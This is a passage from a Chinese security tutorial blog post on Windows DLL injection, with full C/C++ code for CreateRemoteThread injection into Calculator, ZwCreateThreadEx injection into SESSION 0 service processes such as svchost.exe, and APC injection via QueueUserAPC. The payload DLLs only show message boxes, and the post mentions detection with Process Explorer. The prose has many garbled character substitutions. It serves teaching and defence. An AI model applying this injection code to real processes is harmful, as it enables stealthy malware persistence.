从声明中能够知道,CreateRemoteThread须要传递的是目标进程空间中的多线程函数地址,以及多线程参数,其中参数类型是空指针类型。

接下来,将上述两个函数声明结合起来思考,若是程序可以获取目标进程LoadLibrary函数的地址,并且还可以获取目标进程空间中某个DLL路径字符串的地址,那么能够将LoadLibrary函数的地址做为多线程函数的地址,某个DLL路径字符串做为多线程函数的参数,并传递给CreateRemoteThread函数在目标进程空间中建立一个多线程。这样就能够在目标进程空间中建立一个多线程,这个多线程就是LoadLibrary函数加载DLL。

要想实现远线程注入DLL,还须要解决如下两个问题:

  • 一是目标进程空间中LoadLibrary函数的地址是多少。
    解决方案是因为Windows引入了基址随机化ASLR(Address Space Layout Randomization)安全基址,因此致使每次开机时系统DLL的加载基址就不同,从而致使了DLL导出函数的地址也都不同。
    有些DLL(例如kernel32.dll、ntdll.dll)的加载基地址,要求系统启动以后必须固定,若是系统从新启动,则其地址能够不一样。换句话,虽然进程不一样,但开机后kernel32.dll的加载基址在各个进程中都是相同的,所以导出函数的地址也相同。因此,本身程序空间的LoadLibrary函数地址和其余进程空间的LoadLibrary函数地址相同。

  • 二是如何向目标进程空间中写入DLL路径字符串数据。
    直接调用VirtualAllocEx函数在目标进程空间中申请一块内存,而后再调用WriteProcessMemory函数将指定的DLL路径写入到目标进程空间中,这样便解决了第二个问题。

最终,程序能够调用CreateRemoteThread函数实现远线程注入DLL。



3.计算器远线程注入实现

推荐及参考文献:

远线程的基本流程以下:

  • 首先使用进程PID获取目标进程的句柄
  • 使用进程句柄申请内存空间,要可以容纳DLL路径信息字符串的长度
  • 将DLL路径信息字符串写入申请的内存中
  • 建立远程线程,获取注入程序中LoadLibraryA的函数地址(前面已经说明该地址在目标程序中一样适用)
  • 调用CreateRemoteThread在目标进程中建立一个线程,该线程调用LoadLibraryA加载准备的DLL
  • 释放收尾工做或卸载DLL

(1) 编写DLL程序
该程序很是简单,仅包含一个MessageBox弹窗函数。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: //动态库装载时调用
        MessageBox(NULL, TEXT("远线程注入DLL文件!"), TEXT("提示"), MB_OK);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

生成“Dll3.dll”文件,为下面的MFC注入使用。


(2) 编写MFC程序
第一步,新建对话框MFC工程,项目名称为“YCHook”。

在这里插入图片描述

第二步,设置以下图所示的对话框,双击按钮生成对应函数。

void CYCHookDlg::OnBnClickedButton2()
{
	// TODO: 在此添加控件通知处理程序代码
}

void CYCHookDlg::OnBnClickedButton1()
{
	// TODO: 在此添加控件通知处理程序代码
}

在这里插入图片描述

第三步,控件绑定变量,编辑框是一个CString类型的m_strDllPath。点击“项目”->“类向导”,而后添加变量。

//YCHookDlg.h自动添加
public:
	afx_msg void OnBnClickedButton2();
	afx_msg void OnBnClickedButton1();
	CString m_strDllPath;

在这里插入图片描述

在这里插入图片描述

第四步,撰写选择文件代码,其目的是获取文件路径,存放在变量m_strDllPath中。

//选择文件
void CYCHookDlg::OnBnClickedButton2()
{
	CFileDialog dlg(TRUE);
	if (IDCANCEL == dlg.DoModal()) {
		return;
	}
	m_strDllPath = dlg.GetPathName();
	UpdateData(FALSE);
}

第五步,撰写注入按钮事件。

  • 首先判断路径有没有选择文件,变量是否为空。
  • 接着提高进程权限,打开进程访问令牌,并查询进程的特权信息,调节访问令牌特权属性
  • 查找窗口,根据窗口句柄,获取进程PID
  • 根据PID获取进程句柄
  • 在远程进程中申请内存空间
  • 将dll路径写入远程进程中,在本身的进程中建立一个线程CreateThread
  • 在远程进程中开辟一个线程
//点击注入
void CYCHookDlg::OnBnClickedButton1()
{
	/* 第一步,判断路径有没有选择文件,变量是否为空 */
	UpdateData(TRUE);
	if (m_strDllPath.IsEmpty())
	{
		MessageBox(TEXT("请选择dll文件"), TEXT("提示"), MB_OK);
		return;
	}
	MessageBox(m_strDllPath, TEXT("提示"), MB_OK);

	/* 第二步提高进程权限,打开进程访问令牌 */
	CString strMsg;
	HANDLE hToken;
	if (FALSE == OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
	{
		strMsg.Format(TEXT("打开进程令牌失败.错误码:%d"), GetLastError());
		MessageBox(strMsg, TEXT("提示"), MB_OK);
		return;
	}
	//查询进程的特权信息
	LUID luid;
	if (FALSE == LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
	{
		strMsg.Format(TEXT("查询系统特权属性失败.错误码:%d"), GetLastError());
		MessageBox(strMsg, TEXT("提示"), MB_OK);
		return;
	}
	//调节访问令牌特权属性
	TOKEN_PRIVILEGES tkp;
	tkp.PrivilegeCount = 1;
	tkp.Privileges[0].Luid = luid;
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	if (FALSE == AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
	{
		strMsg.Format(TEXT("调节访问令牌特权属性失败.错误码:%d"), GetLastError());
		MessageBox(strMsg, TEXT("提示"), MB_OK);
		return;
	}

	/* 第三步,查找窗口,根据窗口句柄,获取进程PID */
	HWND hCalc = ::FindWindow(TEXT("CalcFrame"), TEXT("计算器"));  //32位 CalcFrame
	if (hCalc == NULL)
	{
		strMsg.Format(TEXT("没有找到该类型窗口.错误码:%d"), GetLastError());
		MessageBox(strMsg, TEXT("提示"), MB_OK);
		return;
	}
	DWORD dwPID = 0;
	GetWindowThreadProcessId(hCalc, &dwPID);
	if (dwPID == 0)
	{
		strMsg.Format(TEXT("获取窗口PID失败.错误码:%d"), GetLastError());
		MessageBox(strMsg, TEXT("提示"), MB_OK);
		return;
	}

	/* 第四步,根据PID获取进程句柄 */
	HANDLE hCalcProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
	if (hCalcProcess == NULL)
	{
		strMsg.Format(TEXT("获取进程句柄失败.错误码:%d"), GetLastError());
		MessageBox(strMsg, TEXT("提示"), MB_OK);
		return;
	}

	/* 第五步,在远程进程中申请内存空间 */
	DWORD dwSize = m_strDllPath.GetLength() + 1;
	LPVOID lpAddr = VirtualAllocEx(hCalcProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (lpAddr == NULL)
	{
		strMsg.Format(TEXT("在远程进程下申请内存失败.错误码:%d"), GetLastError());
		MessageBox(strMsg, TEXT("提示"), MB_OK);
		return;
	}

	/* 第六步,将dll路径写入远程进程 */
	if (FALSE == WriteProcessMemory(hCalcProcess, lpAddr, m_strDllPath, dwSize, NULL))
	{
		strMsg.Format(TEXT("在远程进程中写入失败.错误码:%d"), GetLastError());
		MessageBox(strMsg, TEXT("提示"), MB_OK);
		return;
	}
	//在本身的进程中建立一个线程 CreateThread
	PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(
		GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibraryA");

	/* 第七步,在远程进程中开辟一个线程 */
	HANDLE hThreadHandle = CreateRemoteThread(hCalcProcess, NULL, 0, pfnStartAddr, lpAddr, 0, NULL);
	if (hThreadHandle == NULL)
	{
		strMsg.Format(TEXT("在远程进程中建立线程失败.错误码:%d"), GetLastError());
		MessageBox(strMsg, TEXT("提示"), MB_OK);
		return;
	}
	MessageBox(TEXT("在远程进程中建立线程成功"), TEXT("提示"), MB_OK);
}


4.测试结果

该程序经过PID获取进程句柄,并在远程线程中申请空间,接着使用WriteProcessMemory将dll路径写入远程进程,并使用CreateRemoteThread在目标进程中开辟一个线程。运行代码,并选择生成的“Dll3.dll”文件。

在这里插入图片描述

而后会弹出选择路径。

在这里插入图片描述

若是提示以下错误,是由于咱们没有打开计算器程序,这里打开便可(做者github也提供了该工具)。

在这里插入图片描述

若是提示CreateRemoteThread()错误并返回错误代码5,是由于权限不够,须要用管理员权限运行。同时,OpenProcess函数打开高权限进程时,程序会因权限不足而没法打开进程及获取句柄。

在这里插入图片描述

某些操做系统软件都是64位,而在编译的时候都是默认编译为32位的程序的问题,只要从新编译成64位的程序就能够注入。以下图所示:

在这里插入图片描述

注入成功以下所示,会提示远线程进程成功建立。

在这里插入图片描述

在这里插入图片描述

这里你们能够思考一个问题,360杀毒软件是怎么知道咱们的程序是远程线程注入呢?哈哈,你们在学习安全的时候尽可能结合实际防护软件进行思考。

在这里插入图片描述

PS:这里存在一个问题,为何DLL对话框没有弹窗呢?欢迎你们讨论。



5.远线程注入简化版

最后补充一种更简单的远线程DLL注入方法,显示结果以下图所示,咱们使用第一部分生成的“Dll2.dll”进行。

#include <windows.h>
#include <stdio.h>
#include <iostream>
using namespace std;

//远程线程注入
bool RemoteThreadInject(SIZE_T dwPid)
{
	//1.使用PID打开进程获取权限
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, dwPid);
	//2.申请内存,写入DLL路径
	int nLen = sizeof(WCHAR) * (wcslen(L"D:\\Dll2.dll") + 1);
	LPVOID pBuf = VirtualAllocEx(hProcess, NULL, nLen, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	if (!pBuf)
	{
		printf("申请内存失败!\n");
		return false;
	}
	//3.写入内存
	SIZE_T dwWrite = 0;
	if (!WriteProcessMemory(hProcess, pBuf, L"D:\\Dll2.dll", nLen, &dwWrite))
	{
		printf("写入内存失败!\n");
		return false;
	}
	//4.建立远程线程,让对方调用LoadLibrary
	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, NULL,
		(LPTHREAD_START_ROUTINE)LoadLibrary, pBuf, 0, 0);
	//5.等待线程结束返回,释放资源
	WaitForSingleObject(hRemoteThread, -1);
	CloseHandle(hRemoteThread);
	VirtualFreeEx(hProcess, pBuf, 0, MEM_FREE);
	return true;
}

int main()
{
	SIZE_T dwPid;
	cout << "请计算器PID" << endl;// endl用于换行
	cin >> dwPid;
	if (RemoteThreadInject(dwPid)) {
		cout << "成功获取!" << endl;
	}
	system("PAUSE");
	return 0;
}

其中PID为计算器的55424,运行结果以下图所示,弹出了注入DLL2的对话框。

在这里插入图片描述

经过Process Explorer能获取成功注入的DLL文件,以下图所示:

在这里插入图片描述

注意,咱们能够经过CreateToolhelp32Snapshot、Module32First和Module32Next函数来枚举进程加载模块的信息,或者经过Process Explorer进程查看工具来浏览进程模块信息、模块名称、路径等,从而判断该模块是一个可信模块仍是不可信模块。



三.突破SESSION 0隔离的远线程注入

读者在进行远线程注入是,会遇到一些服务进程不能成功注入。这是因为系统存在SESSION 0隔离的安全机制,传统的远线程注入DLL方法并不能突破SESSION 0隔离。接下来,咱们继续介绍突破SESSION 0隔离的远线程注入。

病毒木马使用传统的远线程注入技术,能够成功向一些普通的用户进程注入DLL,可是它们并不止步于此,却想注入到一些关键的系统服务进程中,使本身更加隐蔽,难以发现。因为SESSION 0隔离机制,致使传统远线程注入系统服务进程失败,通过前人不断逆向贪多,发现直接调用ZwCreateThreadEx函数能够进行远线程注入,还能够突破SESSION 0隔离,成功注入。

1.什么是Session 0隔离

首先,经过李老师的文章 “穿透Session 0 隔离(一)” 介绍什么是SESSION0隔离。在Windows XP、Windows Server 2003,以及更老版本的Windows操做系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登陆到控制台的用户启动的。该会话就叫作Session 0,以下图所示,在Windows Vista以前,Session 0不只包含服务,也包含标准用户应用程序。

在这里插入图片描述

将服务和用户应用程序一块儿在Session 0中运行会致使安全风险,由于服务会使用提高后的权限运行,而用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件以某个服务为攻击目标,经过“劫持”该服务,达到提高本身权限级别的目的。

从Windows Vista开始,只有服务能够托管到Session 0中,用户应用程序和服务之间会被隔离,并须要运行在用户登陆到系统时建立的后续会话中。例如第一个登陆的用户建立 Session 1,第二个登陆的用户建立Session 2,以此类推,以下图所示。

在这里插入图片描述

使用不一样会话运行的实体(应用程序或服务)若是不将本身明确标注为全局命名空间,并提供相应的访问控制设置,将没法互相发送消息,共享UI元素,或共享内核对象。这一过程以下图所示,这就是所谓的Session 0隔离。

在这里插入图片描述



2.突破Session 0隔离注入的实现原理

与传统的CreateRemoteThread函数实现的远线程注入DLL的惟一区别在于,突破SESSION 0远线程注入技术是使用比CreateRemoteThread函数更为底层的ZwCreateThreadEx函数来建立远线程,而具体的远线程注入原理是相同的。

ZwCreateThreadEx函数能够突破SESSION 0隔离,将DLL成功注入到SESSION 0隔离的系统服务进程中。其中,因为ZwCreateThreadEx在ntdll.dll中并无声明,因此须要使用GetProcAddress从ntdll.dll中获取该函数的导出地址。

  • 64位ZwCreateThreadEx函数声明
DWORD WINAPI ZwCreateThreadEx(
	 PHANDLE ThreadHandle,
	 ACCESS_MASK DesiredAccess,
	 LPVOID ObjectAttributes,
	 HANDLE ProcessHandle,
	 LPTHREAD_START_ROUTINE lpStartAddress,
	 LPVOID lpParameter,
	 ULONG CreateThreadFlags,
	 SIZE_T ZeroBits,
	 SIZE_T StackSize,
	 SIZE_T MaximumStackSize,
	 LPVOID pUnkown);
  • 32位ZwCreateThreadEx函数声明
DWORD WINAPI ZwCreateThreadEx(
	 PHANDLE ThreadHandle,
	 ACCESS_MASK DesiredAccess,
	 LPVOID ObjectAttributes,
	 HANDLE ProcessHandle,
	 LPTHREAD_START_ROUTINE lpStartAddress,
	 LPVOID lpParameter,
	 BOOL CreateSuspended,
	 DWORD dwStackSize,
	 DWORD dw1,
	 DWORD dw2,
	 LPVOID pUnkown);

ZwCreateThreadEx函数比CreateRemoteThread函数更为底层,CreateRemoteThread函数最终是经过调用ZwCreateThreadEx函数实现远线程建立的。既然两个WIN32 API函数相似,那么处于SESSION 0隔离的系统服务进程,为何使用CreateRemoteThread注入会失败呢?

经过调用CreateRemoteThread函数建立远线程的方式在内核6.0(Windows VISTA、七、8等)之前是彻底没问题的,可是在内核6.0之后引入了会话隔离机制。它在建立一个进程以后并不当即运行,而是先挂起进程,在查看要运行的进程所在的会话层以后再决定是否恢复进程运行。

通过追踪CreateRemoteThread函数和逆向分析发现,内部调用ZwCreateThreadEx函数建立远线程的时候,第7个参数CreateSuspended(CreateThreadFlags)值为1,它会致使线程建立完成后一直挂起没法恢复运行,这就是为何DLL注入失败的缘由。

因此,想要使系统服务进程远线程注入成功,须要直接调用ZwCreateThreadEx函数,将第7个参数CreateSuspended(CreateThreadFlags)值设置为0,这样线程建立完成后就会恢复运行,成功注入。



3.编程实现

推荐及参考文章:

第一步,建立项目“TPSession0Hook”,并添加mian.cpp文件。

在这里插入图片描述

第二步,添加核心代码以下:

// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char *pszDllFileName)
{
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = 0;
    // 打开注入进程,获取进程句柄
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess)
    {
        ShowError("OpenProcess");
        return FALSE;
    }
    // 在注入进程中申请内存
    dwSize = 1 + ::lstrlen(pszDllFileName);
    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (NULL == pDllAddr)
    {
        ShowError("VirtualAllocEx");
        return FALSE;
    }
    // 向申请的内存中写入数据
    if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
    {
        ShowError("WriteProcessMemory");
        return FALSE;
    }
    // 加载 ntdll.dll
    HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
    if (NULL == hNtdllDll)
    {
        ShowError("LoadLirbary");
        return FALSE;
    }
    // 获取LoadLibraryA函数地址
    pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
    if (NULL == pFuncProcAddr)
    {
        ShowError("GetProcAddress_LoadLibraryA");
        return FALSE;
    }
    // 获取ZwCreateThread函数地址
#ifdef _WIN64
    typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
#else
    typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
#endif
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
    if (NULL == ZwCreateThreadEx)
    {
        ShowError("GetProcAddress_ZwCreateThread");
        return FALSE;
    }
    // 使用 ZwCreateThreadEx 建立远线程, 实现 DLL 注入
    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
    if (NULL == hRemoteThread)
    {
        ShowError("ZwCreateThreadEx");
        return FALSE;
    }
    // 关闭句柄
    ::CloseHandle(hProcess);
    ::FreeLibrary(hNtdllDll);
    return TRUE;
}

接着在Process Explorer中右键单击标题栏,选择“Select Columns”项,显示进程当前所在的Session ID(session ID),以下图所示:

在这里插入图片描述

接着对处于SESSION 0中svchost.exe进程,以管理员权限运行程序,注入咱们的测试DLL,能够看到DLL成功注入到svchost.exe进程空间中。

在这里插入图片描述

因为做者Win10操做系统始终没看到SESSION 0的svchost.exe进程,因此该部分没有进行相关验证。

在这里插入图片描述

最后补充一点内容:因为ZwCreateThreadEx在ntdll.dll并无声明,因此须要本身声明函数原型,并使用 GetProcAddress从ntdll.dll中获取该函数的导出地址。而64位与32位系统下,ZwCreateThreadEx函数原型不同。因为会话隔离,系统服务程序不能显示程序窗体,因此并不会由于MessageBox弹窗,也不能用常规方式建立用户进程。为了解决服务层和用户层的交互问题,微软专门提供了一系列以WTS(Windows Terminal Service)开头的函数来实现这些功能。



四.APC注入详解

说到APC注入,我就想到了WannaCry分析,经过APC注入将生成的dll注入到系统进程lsass.exe,接着释放资源mssecsvc.exe,最后释放勒索程序tasksche.exe。详见做者文章:

在这里插入图片描述

因此APC注入仍然是很是热门的技术,接着这部份内容将详细讲解该内容。

1.APC注入

APC英语是Asynchronous Procedure Call,为异步过程调用的缩写,是指函数在特定线程中被异步执行。在Microsoft Windows操做系统中,APC是一种并发机制,用于异步IO或者定时器。每一个线程都有本身的APC队列,使用QueueUserAPC函数把一个APC函数压入APC队列中,当处于用户模式的APC压入线程APC队列后,该线程并不直接调用APC函数,除非线程处于可通知状态,调用的顺序为先入先出(FIFO)。

APC是一种软中断机制,当一个线程从等待状态中苏醒时(线程调用SignalObjectAndWait 、SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx、MsgWaitForMultipleObjectsEx函数时会进入可唤醒状态),它会检测有没有APC交付给本身。若是有,就会执行这些APC过程。

APC有两种形式:

  • 由系统产生的APC称为内核模式APC
  • 由应用程序产生的APC称为用户模式APC

咱们可使用QueueUserAPC函数把一个APC函数压入APC队列中,实现DLL注入。

QueueUserAPC函数
将用户模式中的异步过程调用(APC)对象添加到指定线程的APC队列中。

DWORD WINAPI QueueUserAPC(
    _In_ PAPCFUNC pfnAPC,          //APC函数的地址
    _In_ HANDLE hThread,           //线程句柄
    _In_ ULONG_PTR dwData          //APC函数的参数
);

参数

  • pfnAPC[in]:当指定线程执行可警告的等待操做时,指向应用程序提供的APC函数的指针。
  • hThread[in]:线程的句柄,该句柄必须具备THREAD_SET_CONTEXT访问权限。
  • dwData[in]:传递由pfnAPC参数指向的APC函数的单个值。

返回值

  • 若是函数成功,则返回值为非零。
  • 若是函数失败,则返回值为零。


2.编程实现

在Windows系统中,每一个线程都会维护一个线程APC队列,经过QUeueUserAPC把一个APC函数添加到指定线程的APC队列中。每一个线程都有本身的APC队列,这个APC队列记录了要求线程执行的一些APC函数。Windows系统会发出一个软中断去执行这些APC函数,对于用户模式下的APC队列,当线程处在可警告状态时才会执行这些APC函数。一个线程在内部使用SignalObjectAndWait 、SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx等函数把本身挂起时就是进入可警告状态,此时便会执行APC队列函数。

QueueUserAPC函数的第一个参数表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函数地址处来执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。与远线程注入相似,若是QueueUserAPC函数的第一个参数(函数地址)设置的是LoadLibraryA函数地址;第三个参数设置的是DLL路径,那么执行APC时便会调用LoadLibraryA函数加载指定路径的DLL,完成DLL注入操做。

一个进程包含多个线程,为了确保可以执行插入的APC,应向目标进程的全部线程都插入相同的APC,实现加载DLL的操做。这样,只要唤醒进程中任意线程,开始执行APC的时候,便会执行插入的APC,实现DLL注入。

实现APC注入的具体流程以下:

  • 经过OpenProcess打开目标进程,获取目标进程的句柄
  • 使用VirtualAllocEx在目标进程中申请空间
  • 使用WriteProcessMemory函数在刚申请的空间中写入要注入的DLL路径
  • 获取LoadLibraryA函数地址
  • 经过CreateToolhelp32Snapshot、Thread32First以及Thread32Next遍历线程快照,获取目标进程的全部线程ID
  • 遍历获取的线程ID,经过OpenThread函数以THREAD_ALL_ACCESS访问权限打开线程,获取线程句柄
  • 使用QueueUserAPC向全部线程插入APC函数,参数1是获取的地址,参数2是获取的句柄,参数3是申请空间的首地址

参考:常见注入手法第二讲,APC注入 - iBinary


第一步,建立一个DLL工程“APCDll”,其DllMain函数以下图所示。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:     //动态库装载时调用
        MessageBox(NULL, TEXT("APC注入DLL文件!"), TEXT("提示"), MB_OK);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

编译生成“APCDll.dll”文件,在DLL附加时调用一个MessageBox。


第二步,建立测试MFC程序“APCTest”,该程序就包括一个按钮,主要是调用SleepEx函数。
测试程序用于调用等待,第二个参数给TRUE,第二个参数决定了你的APC是否调用。SleepEx函数停止当前线程运行直到指定的条件被触发。当如下任意一点出现时,当前线程将恢复运行。

void CAPCTestDlg::OnBnClickedButton1()
{
	// TODO: 在此添加控件通知处理程序代码
	SleepEx(5000, TRUE);
}

在这里插入图片描述


br />

第三步,建立咱们要注入的MFC程序“APCInject”,该程序就包括一个按钮,主要插入APC。

在这里插入图片描述

添加代码以下:

void CAPCInjectDlg::OnBnClickedButton1()
{
	//1.查找窗口
	HWND hWnd = ::FindWindow(NULL, TEXT("APCTest"));
	if (NULL == hWnd) {
		return;
	}

	//2.得到进程的PID,进程PID能够快照遍历获取
	DWORD dwPid = 0;
	DWORD dwTid = 0;
	dwTid = GetWindowThreadProcessId(hWnd, &dwPid);

	//3.打开进程
	HANDLE hProcess = NULL;
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	if (NULL == hProcess) {
		return;
	}

	//4.成功申请远程内存
	void* lpAddr = NULL;
	lpAddr = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (NULL == lpAddr) {
		return;
	}

	//5.写入DLL路径,这里我写入当前根目录下的路径
	char szBuf[] = "APCDll.dll";
	BOOL bRet = WriteProcessMemory(hProcess, lpAddr, szBuf, strlen(szBuf) + 1, NULL);
	if (!bRet) {
		return;
	}

	//6.根据线程Tid 打开线程句柄
	HANDLE hThread = NULL;
	hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwTid);
	if (NULL == hThread) {
		return;
	}

	//7.给APC队列中插入回调函数
	QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpAddr);
	CloseHandle(hThread);
	CloseHandle(hProcess);
}

第四步,测试程序。
能够遍历进程快照获取线程的TID,而后再判断快照中的进程PID是否与注入程序的PID相等,若是相等则能够注入。接着将三个程序放在一块儿,而后打开注入程序和被注入程序。

在这里插入图片描述

运行结果以下图所示,能够看到“APC注入DLL文件”成功。

在这里插入图片描述

一样360安全卫士也会提示错误。

在这里插入图片描述

DLL功能被执行了,咱们用Process Explorer看到被注入程序多了一个DLL。

在这里插入图片描述

总结:APC注入原理是利用当线程被唤醒时APC中的注册函数会执行的机制,并以此去执行DLL加载代码,进而完成DLL注入。为了增长APC执行的可能性,应向目标进程中全部的线程都插入APC。与以前介绍的远线程注入相似,注入操做一般实现的是加载DLL的功能,所以能够经过查看进程模块的信息,来判断进程是否注入到了其余模块。



五.总结

写到这里,这篇文章就介绍完毕,但愿对您有所帮助,仍是以为本身菜。学安全近一年,认识了不少安全大佬和朋友,但愿你们一块儿进步。这篇文章中若是存在一些不足,还请海涵。做者做为网络安全初学者的慢慢成长路吧!但愿将来能更透彻撰写相关文章。同时很是感谢甘老师和参考文献中的安全大佬们,深知本身很菜,得努力前行。最后仍是那句话,人生路上,好好享受陪伴家人的日子,那才是最幸福的事情,爱你~

欢迎你们讨论,是否以为这系列文章帮助到您!任何建议均可以评论告知读者,共勉。

最近真的特别忙,写博客、学新知识的时间都没有,越作越以为知识的无边,本身的无知。十年编程生涯过去,又回到了最初的起点——C语言和VS加油!接下来会作一个Windows远控及木马软件,也会挤时间分享新的系列博客(图5),感受仍是挺有意思的。
还未走远,已经是思恋武汉返校在即,最近多作点好菜犒劳女神,没有什么比亲情更值得珍惜,图4的新笔记本我也会画出属于咱们的2020年蓝天。回廊清风抚白发,一笑弥新仍少年。愿你们都要好好的~同时,祝你们端午节安康。

在这里插入图片描述

(By:Eastmount 2020-06-25 晚上8点写于贵阳 http://blog.csdn.net/eastmount/ )